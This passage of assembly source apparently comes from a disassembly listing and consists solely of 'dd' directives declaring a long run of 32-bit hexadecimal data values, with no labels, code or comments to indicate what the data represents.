		dd 0D360B7A5h, 1BCBDE98h, 81FFBD9Ah, 0F520781Bh, 9AA05DDBh
		dd 90B9C181h, 5889831Dh, 11BF23C8h, 8ADF6D09h, 4DE27B1Fh
		dd 316F8161h, 976FD985h, 584A9073h, 7749B001h, 0F232C47Ah
		dd 0B74D6E89h, 151F948Dh, 0F635D528h, 173DA0FFh, 13D5A993h
		dd 278F3008h, 581A2813h, 2245F497h, 401C8909h, 3C9E5AE6h
		dd 5DD04A9Fh, 589A2053h, 0EE87841h, 5F4CC548h, 55ACDD8Eh
		dd 1F2B1D06h, 5DD11428h, 3C6B1878h, 70B350Eh, 0F9CFD9FFh
		dd 53E2D10Bh, 184A3647h, 3A781A51h, 8643985Bh, 8A1B6386h
		dd 9F8287EBh, 4F064D39h, 7997B7BFh, 0A24DEAFh, 953BB94Bh
		dd 2C6CE8D0h, 77C25151h, 694B75F8h, 73B9A8BFh, 9B204EDEh
		dd 2B57CA92h, 11415664h, 1E6D1381h, 7288BA4Fh, 8E2CA306h
		dd 80898E23h, 0BE4BC99Bh, 799689DBh, 0E19CD3B7h, 0FE31CE69h
		dd 3A55A9B9h, 814F94E0h, 90DAE78Ch, 0B9A1FCD1h,	1354D534h
		dd 0CE496EAFh, 0C1DD6355h, 0AA7FDEF4h, 79DD863Bh, 86826D2Dh
		dd 0A6418AF0h, 3CABA88Ah, 4173278Bh, 9E1E6A0Eh,	7122D783h
		dd 36EB2504h, 3D653C0Dh, 0F5FA482Eh, 6F9F482Fh,	53E62BE0h
		dd 59B9F1BDh, 0A877CE9Ah, 0A999419Ah, 31E12544h, 28D247C2h
		dd 6F2A0134h, 0ED114CC7h, 3F5E9E9Dh, 9A9A05F3h,	0A3ACCD40h
		dd 0D288A83h, 97810490h, 0D2A5BCF2h, 6901DEAh, 0E5253704h
		dd 0C15F6896h, 1FE3E58Ah, 236F1B7Ah, 0E167A519h, 0C9151F91h
		dd 31109C05h, 2E16C0C2h, 0FC84C957h, 0E9797D1Ch, 9F387416h
		dd 0C5914A93h, 3C98280Dh
		dd 408644F1h, 78357283h, 5097F424h, 0C958189Eh,	892E2209h
		dd 0D7FF6605h, 3B7CACA9h, 1FFCFF28h, 4A71C84Fh,	0B41C5D83h
		dd 0DE5C5DBEh, 0C86F1B5h, 0F07C00E9h, 543D66AFh, 64C664A1h
		dd 5155277Ch, 0DD9141C5h, 0B64DC851h, 3C7441Eh,	99CE3D72h
		dd 0E2E78E94h, 3A621631h, 0D1FCF9D4h, 0EB05B435h, 41FBCB2Dh
		dd 0F4C23C3Fh, 0F67CC8B9h, 8D7909FAh, 0FAA7F8DFh, 1A0AEC2Ah
		dd 32300F45h, 0AA6E34C8h, 21E5EC89h, 0F2C85225h, 64ACE476h
		dd 0CA8535F4h, 591A63A6h, 715C7A66h, 9C2DD223h,	0DB7E9DC0h
		dd 7413B3Bh, 5942C0F2h,	0BA3DAEA8h, 0FD35B0F0h,	0C5A03544h
		dd 0F6AEE26Fh, 2919A94Bh, 576E04C8h, 46C227CCh,	0C22C749Ch
		dd 48933372h, 19AAE79Bh, 1B740F2Fh, 0BF151D37h,	0CDE31F6Bh
		dd 1ABC3AA7h, 0FB91EDFCh, 0A0D6C223h, 659914F6h, 58C7D530h
		dd 825C23E8h, 0E1BD3A10h, 0EF4A3EB8h, 0A609C8F0h, 748293A5h
		dd 0D8A7A150h, 782FA3BFh, 81756D07h, 1A6F394Fh,	0F0EAD9C7h
		dd 98B2ED17h, 2E6EA73h,	7F4571D0h, 4E2D37C6h, 55CD795h
		dd 0A9E02DE5h, 181C46Ah, 0F11EACF8h, 392F3Dh, 501CAFCAh
		dd 0FE9C284Ah, 5610B694h, 4E90ED01h, 4B32D3D5h,	471E5B92h
		dd 671F0AC8h, 14C60325h, 85B2D82Fh, 3BC5D013h, 25FD4750h
		dd 99924C41h, 2C7A1BC3h, 4ECE6157h, 0E8B475F0h,	8ED44E4Bh
		dd 492F89D5h, 1C2A899Ch, 0BE1784D2h, 8ACE89C1h,	0CBC6DB5Fh
		dd 84D6AE8Ah, 0BBFE28B6h, 21D9995Dh, 33BCF614h,	0AF1AB6BAh
		dd 0E15C6751h, 0AAEF91BCh, 26DE12D6h, 0EB616441h, 8D8C14F0h
		dd 34DEFCEFh, 44A02E58h, 76DFB76Ah, 3AAFEFF2h, 58C8BC49h
		dd 99C1AE34h, 0AC4AB879h, 0EE2643B9h, 70A4B35h,	0B6D1E6B5h
		dd 0FAE3D1EFh, 927F96E3h, 9BDD3E82h, 0D0B79CE0h, 0E7CEFB4Fh
		dd 0BC1DC3A0h, 7A3015B5h, 0CCBC1B36h, 0A0219AD3h, 0DC02B2A0h
		dd 5A4DE449h, 3DE09934h, 28F0AB22h, 2C2DE46h, 7C63D8C6h
		dd 10D7FFB9h, 11DAA05Fh, 27C36BACh, 0A0B9FAECh,	388BD88Ah
		dd 55125C31h, 52AF2433h, 749FE978h, 0E6352994h,	0DB2C4889h
		dd 0E04E2082h, 5D732590h, 0FEABCFEDh, 0B90F1622h, 0FCE3DCF9h
		dd 0DD2057D8h, 619781FBh, 0BDFABA68h, 740C1B6Eh, 96C9856h
		dd 0A44ADB2Ch, 0FA9B90F9h, 69AED042h, 477ECCF6h, 5A1C7CE2h
		dd 2D4A385h, 619845D1h,	0BEC058EDh, 6CD04B26h, 808FBA95h
		dd 6525BAF8h, 8B2B7A47h, 7BA4297Ch, 931FB1E1h, 5D2FFB05h
		dd 386CC73Eh, 0C2271CC6h, 587C17E0h, 0FAEF4C56h, 428A1D11h
		dd 77C446DDh, 0B905B935h, 0FC1401BDh, 0F742CB6Ah, 61C3B33Fh
		dd 0F1D9A57Fh, 0B86F4573h, 4265F279h, 0C5499730h, 0B2280FCAh
		dd 0C80E2CBh, 0BABD5C39h, 0C54B7C0h, 17512597h,	50F7446h
		dd 0D7524C6Bh, 2319032Fh, 0A6AAC447h, 24FCF84Eh, 12994805h
		dd 321BE221h, 0A86F444Ah, 0D5A8DD9Eh, 8624DAC1h, 77649548h
		dd 0E214ED7Eh, 0A0521CA4h, 2A607620h, 6B74D180h, 0E027E9E6h
		dd 0A9F53961h, 984650B2h, 196C3B24h, 85C2FE71h,	47B7BA9Ah
		dd 0AE33D3ABh, 7A46EEE0h, 0AB99DBC5h, 3FF246D3h, 0E3BCA61Ch
		dd 0F1490815h, 0F38445A4h, 148898FAh, 0A6357538h, 655A1DD7h
		dd 7DEB4AD4h, 419B4ADDh, 45E99B94h, 0CE0D370Ah,	0E381785Bh
		dd 0A492666Bh, 8C94BE12h, 0AD44FA5Eh, 0D50B31BBh, 7516957Eh
		dd 0A90B3283h, 72717835h, 0B5A0595Bh, 0B93BB902h, 0D3001A52h
		dd 0E4DC1BFFh, 0D1884E52h, 8F78495Dh, 1FC58EAEh, 0BAE623DFh
		dd 0B90F51D0h, 0AD19FCE9h, 98AFEC06h, 41EF855Bh, 66EF79Ch
		dd 0E7027D59h, 0D7BF71DEh, 50754FFDh, 0A9C76C14h, 0C3C9FB7Bh
		dd 43E510BEh, 5F2B7DCh,	0FB9D58F8h, 9E9F238Ch, 0DDA478B2h
		dd 79290461h, 7C1F8B60h, 2E483466h, 2675809Dh, 5E3B0663h
		dd 15A479EEh, 190BDF37h, 992800D3h, 41CFE578h, 0C4438EEAh
		dd 9747F925h, 0BE842507h, 0BFE88094h, 0DC5ED69Dh, 0AF49692Eh
		dd 0A5FD8593h, 51072F42h, 5A5966CDh, 0C10A586h,	95226B50h
		dd 0EC4B7D57h, 0FC4CED2Fh, 0BDFDB648h, 93E89CD1h, 0B4DE1687h
		dd 0E4CCBFD5h, 58613770h, 94D59679h, 7B4732B4h,	7CA21C64h
		dd 99AAB232h, 88D58F00h, 3EF7430Fh, 8D261724h, 0B95B9E45h
		dd 5727362Fh, 63E7A3ACh, 0BDE31039h, 57AF4840h,	90D72C65h
		dd 2FCA973Dh, 2C1C4BCh,	8F2672D6h, 0D5769E6Bh, 9F745C61h
		dd 9C2AF0EBh, 836492Bh,	0E6D75611h, 476DE3FBh, 58DA657Ah
		dd 26245F9Ah, 54EC09B6h, 9F233076h, 90BA4159h, 0B689B6A9h
		dd 10932A2Fh, 5783ACD2h, 65E3BB2h, 577D6A68h, 0F0086657h
		dd 6BA41D1Eh, 957B5762h, 2DABF740h, 0C9648991h,	0C37C9AEh
		dd 88D73A66h, 76B7BC97h, 7239C29Dh, 6D5D5A3Ah, 7BF91BE5h
		dd 0A81B14A9h, 1A39F545h, 964EB425h, 86F24746h,	23494308h
		dd 22755F0h, 0E8FA573Ch, 0D8C88DFCh, 0F8E2A7E6h, 0D2BAD9C4h
		dd 2478F5A0h, 6B8240C3h, 0FDAFF47Dh, 0B25208E4h, 0D1A39843h
		dd 2EA9646Ch, 0B2385346h, 81B6CC06h, 8A0E8451h,	429A2BA1h
		dd 0CBA7EC38h, 0EFBAC5D4h, 0BC68BDA5h, 4DB353F8h, 7BF1AD0Fh
		dd 0D7953E6Eh, 24C08901h, 0CD3671ECh, 0A47A9EAAh, 0D0E1AAD8h
		dd 149FBF0Ah, 0C85A7BEDh, 6CB312F5h, 0CD4DF3BEh, 8EDA9554h
		dd 4A518C77h, 0E93A804Bh, 3DC737E6h, 0ED2471D5h, 40F6E658h
		dd 3B056B2Ch, 43A5D2Eh,	0F60BCD83h, 0DE847A78h,	5B5FC487h
		dd 0D8892C53h, 0D44483D8h, 0BDC92436h, 8A9D46AFh, 22CA210h
		dd 0BB569ED0h, 0F1223046h, 9115350Ah, 0CDF791BFh, 0E34CA75Fh
		dd 1AE80E29h, 0D53D30DFh, 8A56A83h, 73829A2Bh, 327ABA17h
		dd 65CBC52h, 8269F63Bh,	0DCF1B1FCh, 0A778EB61h,	44EEC46Dh
		dd 2010B085h, 853C1243h, 345A3F4Ch, 64DB1FF4h, 439913D4h
		dd 0FF571592h, 0AA416A87h, 637950B4h, 97ACACADh, 4B6D0289h
		dd 0C997BA9Eh, 4217CC73h, 53CBEBA7h, 2CC88581h,	546EEE8h
		dd 937D2461h, 5E3158F5h, 11654E15h, 0E3C8825Bh,	4A9BC365h
		dd 769EF7C1h, 0BD35EEC5h, 0AFDBABEDh, 0E2E6CF9h, 0E744A9DDh
		dd 43CEE3E2h, 40CFC9E7h, 0F3D4E2E3h, 7DE4726h, 3C605DCh
		dd 6FFA5E07h, 2D37923Ah, 99921254h, 45DCA27Fh, 0C1C8C4E4h
		dd 0CD04BC68h, 1B2557EDh, 0E6C58B45h, 35B12781h, 0B103A972h
		dd 2E68D53Eh, 0CE66F2F9h, 89757F03h, 886360B3h,	0A37F1A4h
		dd 0BEC50152h, 0C613D76Bh, 3113B143h, 8DC2B0AAh, 4F542F14h
		dd 301C5F7Dh, 0A2E7263Bh, 0A6FD478Bh, 4CC488B2h, 0A67220A8h
		dd 0BBBDFE90h, 53C567F6h, 0A34600F6h, 59340B83h, 5FEF9B91h
		dd 936D5857h, 7D13B45Bh, 8E1644CBh, 8D8D38B5h, 0FF12BD86h
		dd 0F76C9DE0h, 0B161D775h, 0AA285AD8h, 26EF96E0h, 98959856h
		dd 0D7D6C56Bh, 36910587h, 0E839B4CDh, 47E98BE5h, 4F023943h
		dd 33991B70h, 0C31CE8CCh, 4313E0F2h, 216E411Ch,	82928208h
		dd 7FE4AA7Ah, 0FC9FF1EAh, 4ECFB1F7h, 0C8138D4Dh, 0CCC748C8h
		dd 317E1B32h, 297739BDh, 4A8E9696h, 948F512Fh, 781BF82Fh
		dd 2660A622h, 0E04B24AAh, 0BF20934Dh, 28282FCEh, 3A7DDFD9h
		dd 7A1689C4h, 2456C784h, 80218772h, 8192787Ch, 27BD7FF9h
		dd 0A610BE5Fh, 0F03DC2F6h, 0BF1E8D89h, 18DBC79h, 0B5AA4EB0h
		dd 0AF4ED893h, 0D613948Ah, 7D2C61AEh, 73613A37h, 0E79F4A52h
		dd 1BB503B6h, 0ACF5451Fh, 0C8832E68h, 0E62CEA04h, 6F3DB686h
		dd 0AFACE917h, 69D9CD6Ah, 456C8122h, 51709E0Ch,	960EEE9Eh
		dd 0ED053D1Bh, 539B4EABh
		dd 5C0FA6F5h, 119C109Ch, 0E8348FA7h, 0CF51BB01h, 0BFC50A3h
		dd 0BC0A995Eh, 39298214h, 3DAB8595h, 0DEF9BBE1h, 0C80F339h
		dd 0F592F34Eh, 0EA9CE1A5h, 477BE10Fh, 8450DFB9h, 2BD6F968h
		dd 0F33F0DF8h, 0B97E17C8h, 3A07721Ah, 710CEED6h, 246555FFh
		dd 456A406Fh, 65C5C390h, 0F099265Eh, 1E606390h,	0FE3F9DDDh
		dd 0F47E3555h, 0F0F04D9Fh, 0A25C5D48h, 4B31F28Dh, 0C354E49Fh
		dd 1CF7F79Bh, 0A4ABB13Ah, 0E0D34C94h, 65B3CC19h, 32A8E5AFh
		dd 0A3276F08h, 8E1677C1h, 9DBB9AC2h, 7A550B8Eh,	815AB12Eh
		dd 2B35AE87h, 62CE5F19h, 17C0B59h, 0FE1CD66Eh, 0F96025A3h
		dd 0C9591B93h, 65386E52h, 3AA78F09h, 0AA7670FCh, 0D685D44Fh
		dd 8F34406Ah, 64432C70h, 0F21008h, 0ECA1A154h, 0D04A1E53h
		dd 22411C90h, 8BB20C97h, 45920A45h, 0D5528464h,	6C440773h
		dd 0EB39A293h, 18D3ECE3h, 0BA075BCBh, 0A73F69E0h, 4170B7C8h
		dd 8E138071h, 528CFE70h, 0BA4597A6h, 0E3419A4Bh, 0ABE2A081h
		dd 0EF322DD1h, 25D95929h, 4FB655EBh, 70970F91h,	0C364519Ah
		dd 2FE3B2E1h, 932665AEh, 247B24D9h, 0A502AAF2h,	0A2137AD0h
		dd 0E5B2BAFAh, 9AA2D295h, 4227E9A3h, 61B94EDBh,	0EE09DF99h
		dd 78703602h, 9391007Ah, 79E8A16Dh, 58221B80h, 4DE41DE5h
		dd 8BFBD164h, 1BFC7D24h, 0E636E4DFh, 0D7701DCBh, 42279C7Bh
		dd 7B4A7299h, 8A41B4E8h, 873171ECh, 0FC4CC458h,	8D0E211Eh
		dd 7004A7ABh, 0EE0E45C2h, 0FF31C5A0h, 47FA8B07h, 749DFBCCh
		dd 8C963A93h, 7BFFC23Ah, 5C02B139h, 9BE07FD0h, 121C787Dh
		dd 0DFD2C729h, 0BB129C87h, 6FF933B1h, 2B90EA4Ah, 69568FAFh
		dd 695FDF04h, 35225824h, 0B19CCF7Fh, 57E5AE37h,	0D8025CB8h
		dd 0B73A9B48h, 895A1A45h, 0FD95C032h, 0F5D2156Bh, 990E0D52h
		dd 953BF33Ah, 0C34C0F2Eh, 26EAA4DEh, 1543624Bh,	0B1D6DBFCh
		dd 409D72E7h, 475F4FF1h, 5CB2EFCEh, 0E2CF1EB4h,	0B577A146h
		dd 0BEB10007h, 0E2E16207h, 6919E385h, 0D7D88FB5h, 85A9F796h
		dd 0CA9A0902h, 543ACF07h, 0FE941CEAh, 66A046C3h, 0D71F4D1Ch
		dd 8A76EEACh, 4B42E6E7h, 0F27E6FAAh, 0A9BC7F58h, 3BE24877h
		dd 5374D74h, 8691E960h,	698FF356h, 818A369Ch, 24113D3Eh
		dd 91A08B23h, 7EF7440Ah, 7AC01045h, 6AAAE123h, 840E9041h
		dd 0D4064C5Ch, 2CA15E2Bh, 0D07E4CFAh, 631A7C2Dh, 482C1F00h
		dd 66930DFBh, 71DF1B1Eh, 0ED8C3A1Bh, 0BC48E65Bh, 83051832h
		dd 0F65AA50Dh, 0DCBB5EFFh, 1614F519h, 9127BFC0h, 4080BCD7h
		dd 0EECEFA94h, 755D7D4Bh, 2C401AA1h, 77177995h,	7F759DA0h
		dd 3F641510h, 16BE0698h, 0B7881A6h, 5CBC2479h, 0E6FDC5CCh
		dd 82306CACh, 5855F333h, 8496BCAAh, 0DECD3E6Dh,	24693268h
		dd 583399E2h, 242086E7h, 453607CAh, 64E14DB0h, 2448D290h
		dd 31439FCEh, 0C06A9593h, 4F2D73EBh, 0F70A7524h, 6C536AA5h
		dd 338FB61Eh, 7B0167C5h, 0A7C46A26h, 8E6B122Bh,	2C9692C3h
		dd 941D1B4Eh, 0A48D1B05h, 401FF870h, 0A74FB657h, 9D7D44C5h
		dd 1358FD83h, 114B9250h, 59ABB224h, 52D4E64Fh, 708FD772h
		dd 77B5EED2h, 186B70FAh, 15459E1Ch, 69E4C6C7h, 3DB9FFACh
		dd 37339402h, 0C36CFD29h, 0F88BA437h, 2D483F26h, 187CBD23h
		dd 0FD4D9284h, 88A19657h, 8EE94932h, 4042254Ah,	0E9835335h
		dd 0BDB00A78h, 906E5870h, 0B86850E2h, 29D20391h, 240715DFh
		dd 218B3EA3h, 8B021B4Ah, 1FB2ED40h, 0D32BFAD1h,	4D3E2F29h
		dd 176DBC33h, 6360205Eh, 0B30C33F4h, 0D06F86FFh, 0A3D4E6B5h
		dd 0D7266D0Dh, 5E63826Bh, 0D072C948h, 0FAAFC372h, 0E828DBB8h
		dd 0C6D4DCC5h, 0FB3F1654h, 0C7A246A1h, 15BB669Dh, 0ED278E43h
		dd 1FBF00Eh, 0F6BD0E6h,	203D3251h, 0A5CD4EC2h, 4CA5BDE3h
		dd 6EEED079h, 3EB99CFAh, 885AF2E8h, 6FF01F9Ch, 0D7C30615h
		dd 64809D9Dh, 0B6638843h, 63CA8019h, 412FA705h,	0DC6E39ADh
		dd 0A8D9C4BBh, 0DA474E39h, 608D0FC9h, 600703EEh, 0C70B0811h
		dd 0A8BB1B94h, 0AEB4A0DEh, 0F0F67A74h, 0EB293364h, 25EEED4Fh
		dd 5D43B6EEh, 1991DDEFh, 3073E7A1h, 1B2EFE98h, 15ECD9B8h
		dd 88187DBEh, 415B91A5h, 6BE5F8B8h, 6AA46834h, 0D245DABDh
		dd 6AA45FEAh, 3576AFAh,	0D7D8A661h, 35CB51BAh, 5D688E1h
		dd 2DC667E1h, 0D553815Dh, 0F0533519h, 72BD8449h, 0B5F0CACCh
		dd 9B42358Fh, 0C0930F89h, 408D2F2Ah, 0CF6DD280h, 0AAA8209Eh
		dd 79C8D2D8h, 8C4C978Ch, 0A60309C7h, 9388F641h,	0ACC9A899h
		dd 418D2BDBh, 731B43B6h, 0DB16EE6Dh, 45C96147h,	1900C32Fh
		dd 0F1FCEA39h, 1ADF8596h, 8D9B7467h, 81D95CCDh,	0AD94B7ABh
		dd 2F5B7EFh, 0DC854FCBh, 0F2F7FE0Ch, 106A2669h,	5E40C8EBh
		dd 0F75E1D2Eh, 8B8E70CDh, 0A65BCE4Eh, 0DBC4D09Fh, 43E0C9A4h
		dd 86769366h, 27B31FF8h, 0E62A6BA3h, 67246FD0h,	1573BE4Fh
		dd 0CBFC791Ch, 574C4227h, 0FE4C8C2Eh, 0A666987Fh, 0BECCE3EEh
		dd 42295E22h, 0E4EEB760h, 2A4A8640h, 4001096Fh,	4937D415h
		dd 2F912CBh, 538B7BF6h,	0E5FA1C7Ch, 6B546012h, 1B2D4962h
		dd 8747A3ABh, 0F81AD2D3h, 0B5A38404h, 12C7334Fh, 0C0859175h
		dd 2BEB148Ah, 83BAA1A6h, 745A6EA1h, 0D3FEE5D1h,	0E38C38BEh
		dd 44FFE5B7h, 39E50632h, 56C00436h, 8C08FB0Ah, 3BBEFD05h
		dd 8280E429h, 5A6A0D14h, 5E77E4DBh, 0F712BB90h,	0C3180AB0h
		dd 5D894386h, 53F19913h, 218F4099h, 0D1A758F8h,	2D85B706h
		dd 0D257A8E6h, 3A471ADBh, 16E31AFAh, 0F0DDD732h, 8CE395A6h
		dd 8456730h, 14F010EAh,	0DB8D2380h, 1CF0B168h, 8E2BC0F7h
		dd 0DA97E1A5h, 7AC2D094h, 0CE69AD3Bh, 0F1F5EBC6h, 70CC03A6h
		dd 8780F006h, 1D2C5F95h, 0D72DAAA7h, 31AB6368h,	248EB0E1h
		dd 293AD93Eh, 0DB1B65DBh, 0D4290815h, 0B6CB5F90h, 4839E4B7h
		dd 10CB5C48h, 0AB69BE88h, 0C8E42760h, 0A3D14799h, 9812AA8Eh
		dd 4EF68002h, 207C27D9h, 0B3F9E0FFh, 0AC3A3043h, 0F41DDB1Fh
		dd 0F6A1E3E1h, 0B5053E52h, 31604129h, 0C3BC4CB6h, 0DDB53EEDh
		dd 0A7A8ED81h, 2D82E8E2h, 0E94FAA79h, 7905FEEAh, 0B34080BCh
		dd 8186DDh, 54E42895h, 18733D82h, 8264F8A4h, 953B1F45h
		dd 4096D79Eh, 9B1C8A66h, 9A4BFB3Fh, 0A7B8B7D4h,	7BB06189h
		dd 0E91528CAh, 0DA3BFE8Dh, 0D6A3B22Eh, 762FDAE3h, 0A98F79DAh
		dd 8938E27Dh, 0E77515F1h, 25C43ADEh, 154C96C8h,	0B8C8F69Ch
		dd 66E57824h, 7D8950E1h, 0B0F9B554h, 9B50041Ch,	0AE5CCEF1h
		dd 5CCE3C62h, 0AC9CC13Bh, 5C2BF113h, 0D452ACF1h, 0BCACFBDBh
		dd 351886EDh, 88AA9208h, 0D7B7F8F5h, 0D306B1EAh, 4E2376CFh
		dd 0F9B17CB2h, 91855A4Fh, 0CFD7EAFh, 3A61ADE7h,	0C15BD8D8h
		dd 0B0F89BE3h, 79429AEEh, 0CF9C4E58h, 0D37604EEh, 6931BB7Ch
		dd 1BA868E6h, 58DEB13Bh, 3606B4C5h, 0BB65504Dh,	0A6E6939Ch
		dd 0B839991Ah, 819D57AAh, 929E5D5Bh, 7D362B37h,	1C6ACFB3h
		dd 0FAB8D45Eh, 78737B2Ah, 210F456Ah, 0E2112BBCh, 48B24CBBh
		dd 73BCFAA6h, 9229E22Dh, 98B7276Fh, 0E5B8EE1Fh,	1F74FE40h
		dd 485F5D3Bh, 25E7F7B3h, 8CDD30D2h, 316317A4h, 0AC8FCCEEh
		dd 0D7CDE888h, 0B56C9624h, 3E91338Ah, 0CB4B8A7Fh, 0C03B37E6h
		dd 2788A959h, 0F20D0D42h, 0DBD8F414h, 2442124Ch, 4E3C2ECBh
		dd 0AF55456Eh, 3B938AEAh, 296C2BCh, 0C0274F1Fh,	2C5EA8Fh
		dd 8CD8E866h, 862CDCC7h, 2CDC5A70h, 0AB52148Fh,	0A7C37FAAh
		dd 5F2149EAh, 8D269442h
		dd 7EA49F84h, 15DE5968h, 0FEF3B653h, 0E18B916Ah, 7BA71BFEh
		dd 5950D91h, 2C48CB70h,	0EF547531h, 816965E0h, 0D5251CC8h
		dd 0CF5ED402h, 0D6597648h, 219C13E4h, 25E9E80Ch, 3E999F02h
		dd 78FD5288h, 101155CCh, 55EFC1B0h, 0A244F69Bh,	972AB970h
		dd 0E2D70C60h, 0B5270105h, 5C216FD3h, 0DF905110h, 1C60F76Dh
		dd 0DAEBA5D3h, 0E1B12045h, 927E2A48h, 0C514249Eh, 2A45D094h
		dd 8090A695h, 5837AE40h, 6E8C5B06h, 9EC7D90Eh, 1BD3115Eh
		dd 0DE40E50Dh, 0A82F856Eh, 99770F44h, 0ED7F11DAh, 30E088D2h
		dd 29E3AC3Eh, 0BAF98436h, 0BB137F81h, 0BDED2E9Eh, 0C832BE10h
		dd 0E40A4740h, 0B0F8F89Eh, 0AFD6C78h, 561B5F95h, 0E9AEAA90h
		dd 6B20BEC2h, 64D776C3h, 0A4D7F5AFh, 7E3CFA14h,	0AAD4D19Fh
		dd 0D837F07Eh, 0B3E606ECh, 32F9A4ACh, 0E2D02635h, 72E98631h
		dd 0AFA63829h, 4EBE2110h, 62C8E960h, 0EA603189h, 23758E0Eh
		dd 0C91FD3C7h, 0F675379Dh, 0E42B7184h, 0F9226CACh, 3D6C2738h
		dd 24306A74h, 658E848Dh, 0E6D3D7Eh, 0FF6EBD6h, 8164C80Dh
		dd 78F56ED5h, 0AD2DDA2Ch, 0BC9E9CE7h, 8D2EF608h, 0E2B4F193h
		dd 0D4FB21A3h, 26B33120h, 0B94B9F9Ch, 3CBABAF1h, 0BE2E5542h
		dd 6C5E59F9h, 25C75202h, 0A01DC5D1h, 0C7D433Ch,	870103E6h
		dd 0AC0158ACh, 9BD9D6FDh, 6C6F1EB4h, 1103BDB5h,	4999A79Ch
		dd 0E72999FFh, 0A877F387h, 0B15B05Bh, 865A3FE4h, 3D71DC00h
		dd 32370BB3h, 95BA3A39h, 0F6046088h, 0DB2208EEh, 8D436D5Eh
		dd 0E37A91F2h, 0EFA7ECF2h, 0DAD967DFh, 52D1E5FAh, 0FF5F5A31h
		dd 36F90C7h, 7795A673h,	5B735B74h, 10AD9BDDh, 0BFBAE1A8h
		dd 73602BEFh, 1F501862h, 0B5EFFC8Eh, 7B502335h,	0E4600543h
		dd 574C8C0h, 6A7C2D2Ah,	55457370h, 0A3FA139Eh, 47AAFB5Dh
		dd 2F232707h, 9598759h,	4E25C730h, 0C66AB7h, 4D6A792h
		dd 38E06CA4h, 6D62A980h, 8105D587h, 7E4A4FCAh, 0DF94B7FCh
		dd 0C5F67419h, 17271877h, 0E8A1992Ah, 2E98793Fh, 1B5AE6C0h
		dd 0DD2B8A90h, 175C818Dh, 4EEF1225h, 7A24210Dh,	0DDB8F7E2h
		dd 4B140A94h, 588E9629h, 13680382h, 0F6D5020Dh,	315912B6h
		dd 2201A922h, 0FD27D7B4h, 7E29E32Eh, 356DFAD8h,	0CD54CF4Dh
		dd 7A4BCA30h, 1D5214h, 5B8932FBh, 6CDCBED2h, 84FA14CEh
		dd 0F75E9DE4h, 9C91E061h, 54B02095h, 3DF4C8EAh,	1FE47608h
		dd 0FDB84EB3h, 0C695A3DAh, 247BA440h, 466E085Ah, 3A3970F8h
		dd 27F1A175h, 0DA992EC6h, 0DF2D4BF8h, 9FF487BDh, 177A4185h
		dd 0DE6AE49Ah, 1CE7A1E9h, 0A8846888h, 2E1CA91h,	3CEEDFEEh
		dd 65A915DFh, 179E2F4Dh, 9CA7B474h, 0C35A1208h,	71B76FE5h
		dd 0B6D4631Ch, 31973883h, 1699A9ABh, 2EDA1AFDh,	0E731E89Fh
		dd 7CD9E4E1h, 0BDEEA343h, 0B67B5E56h, 13046777h, 170D9C98h
		dd 0D162894Dh, 20D3A016h, 0A1A324D7h, 36A04114h, 0A925F3BBh
		dd 0E416C97Eh, 479F1BB4h, 3FE1AF3Fh, 0CA46AF92h, 0D72F1B0Bh
		dd 8C1C64DAh, 52871367h, 0C29B626Ah, 0AE4C8B25h, 0A1216870h
		dd 950C5953h, 7D9BD11Fh, 18A999FFh, 0C4A9CB64h,	48597E4Fh
		dd 0E26AC166h, 50EA046h, 5C17DC08h, 5366D7A4h, 2C9D4D90h
		dd 0E1957822h, 0BD1360C8h, 9A0D9332h, 0DBECCA33h, 796D7D74h
		dd 0C4FF4A2Ah, 520CD6FAh, 0B67EEFE3h, 0D602BFA7h, 4FFAF1D7h
		dd 4346F3F5h, 374523E8h, 1F1E8297h, 0AC7C5872h,	37CB3991h
		dd 7532BF9Ch, 80635CFEh, 4B8946EAh, 9B7C3DCAh, 61EB1872h
		dd 0E72626E0h, 8B897633h, 401F04EEh, 0DA69F782h, 0F57F90CDh
		dd 8F281909h, 86D41EDEh, 230B6FA0h, 8EEFEB76h, 395F1D7Eh
		dd 251322CDh, 36EE7065h, 3446C125h, 6A84E914h, 487C7EFAh
		dd 0B0B6D047h, 8BACB45Ch, 7BDF2296h, 96AB97AEh,	0CCA19EADh
		dd 0C7416C5Eh, 0C294B760h, 42F4A9FBh, 9B6F93D0h, 0DCD50C7Fh
		dd 27A7DD5Ah, 47F8263Ah, 36AB97A4h, 391CA5D5h, 19E88D15h
		dd 0FBC67EB6h, 73E7CE1Eh, 0BFFBCFDBh, 211CDCBFh, 7770957Bh
		dd 4DEE26A4h, 0F4262311h, 31807FC0h, 0B0EA21FAh, 404B923Dh
		dd 76C84AE4h, 5D500BABh, 0C70E6B97h, 482584CEh,	0CC758A2Eh
		dd 98B098FCh, 0D01E28C1h, 0D8D5A781h, 3F4FF0B1h, 22FC1EB6h
		dd 4C4BFB6Ch, 514321BDh, 0F8B978D5h, 60007ED9h,	2223BD00h
		dd 0B15D4127h, 9ABABE5Dh, 0C3EC5E6Eh, 241E3589h, 0CC6A8C07h
		dd 78540512h, 0ACDF4FA5h, 81C1221Bh, 14D6104Fh,	6C87984Eh
		dd 0C2DBEDC1h, 0D73A052Ah, 7476F371h, 4E8D307Fh, 0AB489452h
		dd 7C325160h, 9659D4D8h, 21A2B642h, 0CA171BD2h,	9DC9DAD3h
		dd 0F91752ADh, 92EC74E2h, 1759CD9Fh, 0CDB79EFEh, 876131D9h
		dd 0E7F759Eh, 0BF266252h, 0EE1540C0h, 0F804974Ah, 0A13F282Ah
		dd 0CB41E7F9h, 899B8B0Dh, 0BDFC169Bh, 1CA96338h, 0FCAD7A2Eh
		dd 7E9CD4A3h, 0D38F851Eh, 0B84EFC2h, 1977AF7Ah,	20D23E8h
		dd 3095708h, 4D4A2B41h,	986F785Fh, 7C685E10h, 0B66E18ECh
		dd 0DC439239h, 0FBF03CD4h, 7C607639h, 0E2F95C06h, 16733BD4h
		dd 63CDF8E4h, 5B3675BCh, 0D3B59E7Fh, 66D0069Eh,	29CBADACh
		dd 7DE98A14h, 3C3A12D4h, 0F040A346h, 1FA7A3C6h,	13E12BEFh
		dd 736D4889h, 0C1333DC2h, 0CDC4E02h, 0ACF153D7h, 2D72D3D4h
		dd 0B914EE2Eh, 8ECB55EBh, 0E39EBC6Ah, 9911FA0h,	2C63FC40h
		dd 0B9DEEC3Fh, 0DB4275F6h, 861BACDEh, 6EFCBA6Dh, 0C8D8003Fh
		dd 9FC727E1h, 5315EE8Ch, 67B6712Fh, 55F5926Dh, 2DAE1A15h
		dd 0F95F12A2h, 8D525405h, 3EFF435h, 37B6823Fh, 79C312BEh
		dd 6B69ADF5h, 8BEEAB93h, 0B49ED759h, 9D707BF4h,	4CA83589h
